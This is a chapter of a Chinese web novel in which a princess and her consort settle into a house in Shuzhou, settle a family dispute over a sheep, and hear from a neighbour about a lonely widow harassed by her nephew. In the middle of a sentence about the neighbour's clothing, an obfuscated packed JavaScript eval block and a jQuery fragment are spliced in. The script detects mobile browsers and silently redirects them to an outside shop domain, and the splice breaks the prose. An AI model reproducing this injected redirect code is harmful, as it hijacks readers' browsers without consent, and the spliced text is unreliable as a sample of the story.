茴香和洛石直白许多,只差没给碗盯出一个洞。
本来他们也不觉得这舒州的吃食有多精致鲜美,可是经过劳碌,饥肠辘辘之下,只觉得闻什么都可口得很。
茴香大咧咧地伸手从筷子筒中抽出四双筷子,摆在几人面前,然后意思意思夹了一块肉放在李意清的碗中,而后往自己嘴里丢了一块肉。对一旁恪守规矩的毓心道:“殿下这是在等驸马呢,咱们先吃,给他们留一些就是。”
毓心:“你是准备让殿下吃我们吃剩饭剩菜?”
茴香:“……”
她举起筷子的手顿在了半空。
毓心见她陷入腹中空空和冒犯公主的两难处境,叹了口气,拿出两个小碗将菜各自分装一些,然后说:“吃吧。”
厨子将一道炒素蒿和一碗炒蒜苗放在桌上,见吃饭者专心致志,发呆者不理外物,自觉地放下就离开了。
茴香用汤汁拌了满满一碗米饭,下肚后终于觉得全身都熨帖了起来。
她伸手撞了撞一旁专心吃饭的洛石,“都这个点了,你去府衙找一找。”
洛石看了眼李意清,咽下口中一大口饭,点了下头,绑紧护袖就准备出门。
刚走到门口,就看见元辞章扛着昏迷的许三。
洛石赶紧上前搭把手。
李意清站起身,“许三怎么了?”
她话音未落,心中记挂许三的茴香立刻站起身,走到了旁边。
茴香酝酿在眼眶中的雾气还未转化成眼泪,就闻到了许三身上一股强烈的酒味。
茴香:“……”
元辞章:“无碍,他喝醉了酒。你去问问掌柜可有蜂蜜,给他冲一碗蜂蜜水。”
茴香拧着鼻子点点头,跑远了。
元辞章将许三放在两条并起的长板凳上,解释道:“今日午后我在查看舒州历年文书,让许三先回来传话。许三年少不经事,被一群衙役拉去喝酒。”
结果显然易见,酒量不行,醉醺醺地倒在地上。
多亏元辞章离开之时多留了一个心眼,问了守在府衙门口的府兵可曾见到他的随侍出门,府兵回忆一番,确实没见到许三的身影。
元辞章折返回去寻找,许三醉醺醺地躺在杂役房中,周围空无一人。
李意清了然。
元辞章做事稳妥,如果有事耽误,必然会先派人回来传话。
茴香端着向掌柜讨来的蜂蜜冲泡的一碗水,好气又好笑地给许三喂水。
李意清见许三有人照顾,招呼元辞章坐下,一道用饭。
“梨花弄堂还要翻修,得过些日子才能住下。”
元辞章伸手夹了一块兔肉放在李意清的碗中,闻言,浅笑颔首:“好。”
洛石正闲着,见两人你一言我一语,忽然打断道:“驸马,今日两位民妇争羊,你怎么判的?”
“两位妇人各执己见,我谴人去了一趟周家,那是周老太爷生前留下的,周家婶子和周家姑奶奶在周老太爷过世之前就已经分家,老太爷生前没留下什么金贵东西,只这一头羊真贵一些,两人无非都是图这些资产,我便让人去换了东西回来。”
同姓的亲人,因为一头羊结成仇怨。
洛石在感到唏嘘的同时,猜测道:“是不是用那一头羊换成两只小羊羔?一人一只,总算吃不了亏了。”
李意清:“笨,若是换成羊羔,两人总能瞧出个高低,往后依旧争吵不休。不如换成白银,一了百了。”
元辞章:“正是如此。”
两人这些日子能因为羊的归属争吵不休,日后就能因为谁家小羊羔长得壮实告上官府,说不定还要因为自己没有喂养妥当,反而倒打一耙说官府处事不力。
洛石恍然大悟,而后叹息,“往后这样零碎的事情,也不知道要弄到什么时候。真是埋没了驸马。”
李意清和元辞章对视一眼,相视而笑。
*
翌日一早,李意清等人出发去了梨花弄堂。
昨天夜里下雾,晨起新叶碧绿如洗,晶莹的露珠缀在植物细小的容貌上,在朝阳下犹如宝石。
李意清随手折了两朵无名的小花,一路边走边折下花瓣,落了一地。
几人忙活了一上午,总算将几间住人的屋子收拾干净。
李意清变戏法一样从袖中摸出一根量绳,和毓心一番商讨后,拿木炭在板子上勾勾画画。
洛石在廊外经过好几次,见两人全神贯注,不敢出声惊扰。
半响后,李意清和毓心终于站起身,核算完具体细节后,毓心喊来洛石。
“诺,这是尺寸,你到时和人记得讲清楚……算了算了,我自己走这一趟。”
毓心将递出去一半的木板从新收回。
洛石撇嘴:“看不起我是不是?”
毓心并不理会,转身就走,“当然不是,只是要用上三年,马虎不得。你在家中帮衬殿下也是一样。”
洛石追到门口,眼巴巴地看着毓心的背影走远。
李意清看他趴在墙头,笑了一声,“放心,虽然家中物件不能完全交给陈师傅,但是不会忘记他。毓心做事,你有什么不放心的。”
洛石抿唇,然后才看向李意清:“殿下,我是不是,又任性了。”
“没有,”李意清摇了摇头,眼神温和,“你做的很好。”
洛石低下头,久久没有说话。
他已经记不太清自己年幼时的情况,他被一双粗粝的大手抱着,翻过山与河,混在流民之中挤进京城。
奄奄一息之际,那个高大却羸瘦的中年男子紧紧怀抱着他——明明自己已经朝不保夕,却义无反顾地咬破了自己的指尖,将献血喂入三天没喝水的洛石口中。
后来他被人收养,记忆缺失了一块。洛石走在街上,总是会想起那个舍命救下自己的中年男人。
若是他还活着,或许就和陆老汉、陈麻子他们,一般年岁吧。
李意清伸手在洛石的肩上轻轻拍了拍。
这时,右侧的围墙上突然出现了一个毛茸茸的脑袋。
小女孩大概八九岁的模样,探头探脑地朝院子这边看。
看见李意清发现了自己,小女孩露出一抹腼腆的笑容,头上的双丫髻随着她的动作摇摇晃晃,像是年画娃娃。
小女孩转头,朝着右边院子里喊道:“娘,隔壁新搬来了一个姐姐、两个姐姐……”
院子对大人来说不高,但是对八九岁的小女孩来说就显得太高了些。
小女孩话音未落,扑通一声摔在了地上。
——“哎哟。”
小女孩发出一声痛呼。
李意清被这突如其来的变故惊呆,连忙上前,踮脚朝里面看,“没事吧?”
小女孩脸上站了尘土,却不哭闹,对着李意清眨巴眨巴眼睛。
隔壁正屋里走出一个妇人,身上穿着青绿色的衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126714|129224||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
裳,头上的银饰虽然少,但经过她的一番打扮,却显得格外素雅耐看。
妇人看见小花猫状的女孩,忍不住垂眸轻笑,先是轻唤了一声“荇儿”,然后扶起了她。
李意清趁此时间,推开大门,敲响了隔壁的门。
门被人从里面拉开,妇人一手牵着小女孩,一手虚虚搭在肚子上,眸光浸满暖意,“昨日就听到了动静,奈何身体有些不适,没能及时拜访,姑娘见谅。”
李意清这才发现妇人已经怀有身孕,看起伏,应当在六七个月左右。
听到妇人的话,她连忙道:“不不不,昨日我们初来乍到,本应该是我们前来拜访,夫人何须道歉。”
妇人闻言,掩唇一笑,“我的夫君名叫滕子鹤,不过他现在并不在舒州,随商队随船南下,五日后方归。这是我的女儿,叫她荇儿就是。”
被点到名的小女孩露出一个甜甜的笑容,有两颗浅浅的酒窝。
李意清听到她自报家门,忽然有些手足无措。
滕夫人:“是有什么不方便吗?”
“当然不,”李意清摇头,她抿唇道,“我叫意清,随夫君前来舒州上任。”
滕夫人恍然:“原来如此。”
李意清忽然转头看向了左侧的一边,昨天几次经过,滕家尚且有烟火气,可是左边却像是无人居住,冷冷清清。
滕夫人看见李意清的动作,弯腰对站在一旁的荇儿说:“去,先去后院洗个脸,都脏成小花猫了。”
荇儿点了点头,转身小跑着回了后院。
滕夫人支走滕荇后,才压低了声音道:“左边那户人家,住在此地有些年头了,里面住着只住着一个五旬老婆婆,有些聋哑,不爱与人来往,不过心不坏,你不必怕她。”
顿了顿,她像是想起了什么,补充了一句,“你最近不要靠近隔壁院子,尤其是最近两天。”
李意清:“为何?”
“说起来都是孽。”滕夫人语气叹息,“那户人家原是靠卖豆腐为生,日子虽然称不上富裕,可是也能温饱。后来家中有了孙儿,高兴了没两年,家中的孙儿就被人拐走了,就是在这初夏前后,夫妻两人出去寻找,遇到山匪,都没能活着回来。老婆婆的丈夫前两年也过世了,现在只剩下她孤零零的一个人。”
李意清听得很是揪心。
“那现在老婆婆的吃食?她家中可还有其他亲人?”
滕夫人道:“都是靠着街里街坊的救济。至于其他亲人,倒是还有一个侄儿,三十多岁出头。”
滕夫人提到这位侄儿的时候,本平和的面容忽然带上了一分愠怒,“那侄儿不提也罢,只等着婆婆去了之后,好带着妻儿老小占了这间屋舍。”
去年的时候,那侄儿就找了一批地痞流氓,扬言这是他的姑妈,反正姑妈年纪一大把,住在这么好的院子里也是浪费,还不如早早死了干净,让他们住进去。
街里街坊都同情老婆婆的遭遇,主动帮忙拦下,还派人报了官府。
可是官府和那侄儿沆瀣一气,甚至搬出伯伯家的家产,本就顺理成章该是侄儿的,跟一个妇道人家没有关系。
好在官府说完这番话,上头的知州就被人拉了下来,舒州事物暂交邻边庐州知州代理,在庐州知州的帮助下,老婆婆守住了自己的家宅。
那侄儿回去后,贼心不死,隔三岔五就要来此恶心一番。
众人虽然气愤,却也无可奈何。